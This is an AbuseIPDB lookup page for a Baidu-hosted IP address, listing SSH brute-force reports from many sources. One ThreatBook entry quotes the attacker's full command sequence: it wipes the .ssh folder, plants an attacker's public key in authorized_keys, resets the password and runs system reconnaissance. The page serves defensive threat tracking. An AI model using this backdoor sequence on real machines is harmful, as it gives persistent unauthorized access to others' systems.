JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 120.48.125.87

120.48.125.87 was found in our database!

This IP was reported 40 times. Confidence of Abuse is 0%: ?

ISP	Beijing Baidu Netcom Science and Technology Co., Ltd.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS38365
Domain Name	baidu.com
Country	🇨🇳 China
City	Beijing, Beijing

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 120.48.125.87

Whois 120.48.125.87

IP Abuse Reports for 120.48.125.87:

This IP address has been reported a total of 40 times from 32 distinct sources. 120.48.125.87 was first reported on September 14th 2023, and the most recent report was 2 years ago.

Old Reports: The most recent abuse report for this IP address is from 2 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2023-09-16 01:14:27 (2 years ago)	ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/120.48.125.87 2023-09-15 ... show more ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/120.48.125.87 2023-09-15 01:47:09 ["cd ~; chattr -ia .ssh; lockr -ia .ssh","cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","cat /proc/cpuinfo \| grep name \| wc -l","echo -e \"zaq12wsx\\nS8NwXzefcJlQ\\nS8NwXzefcJlQ\"\|passwd\|bash","Enter new UNIX password: ","cat /proc/cpuinfo \| grep model \| grep name \| wc -l","top","uname","uname -a","whoami","lscpu \| grep Model","df -h \| head -n 2 \| awk 'FNR == 2 {print $2;}'"] show less	Brute-Force
🇧🇪 Bruno Mairlot	2023-09-15 11:16:06 (2 years ago)		Brute-Force SSH
Anonymous	2023-09-15 08:17:11 (2 years ago)	5 failed SSH login attempts between Fri, 15 Sep 2023 09:47:24 +0200 and Fri, 15 Sep 2023 10:12:02 +0 ... show more 5 failed SSH login attempts between Fri, 15 Sep 2023 09:47:24 +0200 and Fri, 15 Sep 2023 10:12:02 +0200, port 22. show less	Brute-Force SSH
🇩🇪 ipcop.net	2023-09-15 07:56:44 (2 years ago)	Sep 15 09:48:06 gw-de20-01.guestgw.net sshd[90142]: Invalid user upload from 120.48.125.87 port 3880 ... show more Sep 15 09:48:06 gw-de20-01.guestgw.net sshd[90142]: Invalid user upload from 120.48.125.87 port 38806 Sep 15 09:48:06 gw-de20-01.guestgw.net sshd[90142]: Disconnected from invalid user upload 120.48.125.87 port 38806 [preauth] Sep 15 09:50:40 gw-de20-01.guestgw.net sshd[90531]: Connection closed by 120.48.125.87 port 56156 [preauth] Sep 15 09:52:42 gw-de20-01.guestgw.net sshd[90761]: Connection closed by 120.48.125.87 port 42444 [preauth] Sep 15 09:56:41 gw-de20-01.guestgw.net sshd[91461]: Invalid user artur from 120.48.125.87 port 43236 show less	Brute-Force
🇺🇸 Peregrine	2023-09-15 07:40:35 (2 years ago)	Sep 15 04:40:29 fisher sshd[8512]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid= ... show more Sep 15 04:40:29 fisher sshd[8512]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=120.48.125.87 Sep 15 04:40:32 fisher sshd[8512]: Failed password for invalid user upload from 120.48.125.87 port 35630 ssh2 ... show less	Brute-Force SSH
Anonymous	2023-09-15 07:01:29 (2 years ago)	Sep 15 06:35:17 de-fra2-stream2 sshd[1753113]: Invalid user luis from 120.48.125.87 port 36210 Sep 1 ... show more Sep 15 06:35:17 de-fra2-stream2 sshd[1753113]: Invalid user luis from 120.48.125.87 port 36210 Sep 15 06:55:12 de-fra2-stream2 sshd[1753560]: Invalid user tiago from 120.48.125.87 port 41166 Sep 15 07:01:28 de-fra2-stream2 sshd[1753860]: Invalid user jack from 120.48.125.87 port 59338 ... show less	Brute-Force SSH
🇩🇪 lusonode.com	2023-09-15 06:40:59 (2 years ago)	Sep 15 06:36:37 P8 sshd[269797]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 ... show more Sep 15 06:36:37 P8 sshd[269797]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=120.48.125.87 Sep 15 06:36:38 P8 sshd[269797]: Failed password for invalid user luis from 120.48.125.87 port 44964 ssh2 Sep 15 06:40:58 P8 sshd[294625]: Invalid user cisco from 120.48.125.87 port 47954 ... show less	Brute-Force SSH
🇩🇪 marcel-knorr.de	2023-09-15 05:44:23 (2 years ago)	[MK-VM2] SSH login failed	Brute-Force SSH
🇬🇧 massara.com	2023-09-15 04:51:10 (2 years ago)	Login attempt with an unknown user	Brute-Force SSH
🇩🇪 wnbhosting.dk	2023-09-15 04:44:42 (2 years ago)	Invalid user cheng from 120.48.125.87 port 43552	Brute-Force SSH
🇩🇪 wnbhosting.dk	2023-09-15 04:44:42 (2 years ago)	Invalid user cheng from 120.48.125.87 port 43552	Brute-Force SSH
🇩🇪 wnbhosting.dk	2023-09-15 04:44:42 (2 years ago)	Invalid user cheng from 120.48.125.87 port 43552	Brute-Force SSH
🇨🇭 C.Ferris	2023-09-15 04:29:12 (2 years ago)	Fail2Ban SSHD Brute-force SSH server ...	Brute-Force SSH
🇧🇬 MazenHost	2023-09-15 03:02:25 (2 years ago)	Sep 15 05:02:22 aksoy sshd[2753209]: Invalid user re from 120.48.125.87 port 47686 Sep 15 05:02:22 a ... show more Sep 15 05:02:22 aksoy sshd[2753209]: Invalid user re from 120.48.125.87 port 47686 Sep 15 05:02:22 aksoy sshd[2753209]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=120.48.125.87 Sep 15 05:02:22 aksoy sshd[2753209]: Invalid user re from 120.48.125.87 port 47686 Sep 15 05:02:24 aksoy sshd[2753209]: Failed password for invalid user re from 120.48.125.87 port 47686 ssh2 ... show less	Brute-Force SSH
🇵🇱 hoek	2023-09-15 03:00:34 (2 years ago)	Sep 15 04:56:01 0ut3r sshd[1625440]: pam_unix(sshd:auth): authentication failure; logname= uid=0 eui ... show more Sep 15 04:56:01 0ut3r sshd[1625440]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=120.48.125.87 Sep 15 04:56:03 0ut3r sshd[1625440]: Failed password for invalid user user from 120.48.125.87 port 36392 ssh2 Sep 15 05:00:34 0ut3r sshd[1625449]: Invalid user nb from 120.48.125.87 port 46050 ... show less	Brute-Force SSH

Showing 1 to 15 of 40 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 121.239.227.101

🇨🇳 113.101.93.223

🇯🇵 85.131.207.4

🇳🇱 45.142.193.161

🇺🇸 209.46.125.221

🇳🇱 205.237.109.244

🇺🇸 162.216.149.231

🇮🇳 135.235.138.43

🇺🇸 108.189.40.91

🇳🇬 102.88.137.213

🇰🇷 59.21.37.60

🇳🇱 45.198.224.134

🇧🇷 34.95.252.102

🇮🇹 5.99.196.202

🇰🇷 210.179.8.206

🇮🇳 182.95.106.130

🇨🇳 112.47.231.215

🇮🇳 103.180.212.135

🇭🇰 91.208.73.57

🇱🇹 81.30.98.144